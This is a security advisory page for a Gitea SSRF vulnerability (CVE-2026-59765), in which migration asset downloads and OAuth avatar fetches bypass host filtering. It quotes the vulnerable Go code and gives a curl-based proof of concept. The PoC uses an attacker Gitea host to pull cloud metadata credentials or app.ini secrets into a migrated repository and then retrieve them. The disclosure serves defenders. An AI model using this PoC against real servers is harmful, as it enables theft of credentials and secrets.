GHSA-2WM4-VWP6-V7XC

Vulnerability from github – Published: 2026-07-21 21:55 – Updated: 2026-09-24 15:29
VLAI
Summary
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Details

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path: - services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets - services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:55:31Z",
    "nvd_published_at": "2026-08-13T17:17:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go\u0027s `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker\u0027s Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }\u0027\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo\u0027s release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source",
  "id": "GHSA-2wm4-vwp6-v7xc",
  "modified": "2026-09-24T15:29:33Z",
  "published": "2026-07-21T21:55:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/gitea-1.27.0-is-released"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher \u2014 Reads Internal Files and Cloud Metadata"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.